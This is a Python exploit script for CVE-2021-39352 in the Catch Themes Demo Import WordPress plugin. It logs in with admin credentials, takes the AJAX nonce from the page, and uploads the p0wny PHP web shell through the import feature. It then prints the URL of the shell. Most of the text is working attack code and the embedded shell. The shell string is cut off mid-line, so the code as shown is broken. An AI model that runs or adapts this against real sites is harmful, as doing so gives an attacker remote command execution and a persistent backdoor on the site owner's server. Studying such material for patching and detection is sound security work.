# Exploit Title: Wordpress Plugin Catch Themes Demo Import 1.6.1 - Remote Code Execution (RCE) (Authenticated) # Date 07.12.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://wordpress.org/plugins/catch-themes-demo-import/ # Software Link: https://downloads.wordpress.org/plugin/catch-themes-demo-import.1.6.1.zip # Version: <= 1.6.1 # Tested on: Ubuntu 18.04 # CVE: CVE-2021-39352 # CWE: CWE-434 # Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39352/README.md ''' Description: The Catch Themes Demo Import WordPress plugin is vulnerable to arbitrary file uploads via the import functionality found in the ~/inc/CatchThemesDemoImport.php file, in versions up to 1.7, due to insufficient file type validation. This makes it possible for an attacker with administrative privileges to upload malicious files that can be used to achieve remote code execution. ''' # Banner: banner = """ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ||C |||V |||E |||- |||2 |||0 |||2 |||1 |||- |||3 |||9 |||3 |||5 |||2 || ||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|| |/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\| [+] Catch Themes Demo Import RCE (Authenticated) [@] Developed by Ron Jost (Hacker5preme) """ print(banner) import argparse import requests from datetime import datetime # User-Input: my_parser = argparse.ArgumentParser(description='Wordpress Plugin Catch Themes Demo Import - RCE (Authenticated)') my_parser.add_argument('-T', '--IP', type=str) my_parser.add_argument('-P', '--PORT', type=str) my_parser.add_argument('-U', '--PATH', type=str) my_parser.add_argument('-u', '--USERNAME', type=str) my_parser.add_argument('-p', '--PASSWORD', type=str) args = my_parser.parse_args() target_ip = args.IP target_port = args.PORT wp_path = args.PATH username = args.USERNAME password = args.PASSWORD print('') print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S'))) print('') # Authentication: session = requests.Session() auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php' check = session.get(auth_url) # Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'http://' + target_ip, 'Connection': 'close', 'Upgrade-Insecure-Requests': '1' } # Body: body = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } auth = session.post(auth_url, headers=header, data=body) # Get Security nonce value: check = session.get('http://' + target_ip + ':' + target_port + wp_path+ 'wp-admin/themes.php?page=catch-themes-demo-import').text nonce = check[check.find('ajax_nonce"') + 13:] wp_nonce = nonce[:nonce.find('"')] print(wp_nonce) # Exploit: exploit_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php' # Header (Exploit): header = { "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0", "Accept": "*/*", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", 'Referer': 'http://' + target_ip + '/wordpress/wp-admin/themes.php?page=catch-themes-demo-import', "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------121585879226594965303252407916", "Origin": "http://" + target_ip, "Connection": "close" } # Exploit Payload (Using p0wny shell: https://github.com/flozz/p0wny-shell): shell_payload = "-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nctdi_import_demo_data\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"security\"\r\n\r\n" + wp_nonce + "\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"selected\"\r\n\r\nundefined\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"content_file\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar- session.post(exploit_url, headers=header, data=shell_payload) print('[*] Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S'))) print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/' + str(datetime.now().strftime('%Y')) + '/' + str(datetime.now().strftime('%m')) + '/shell.php') print('')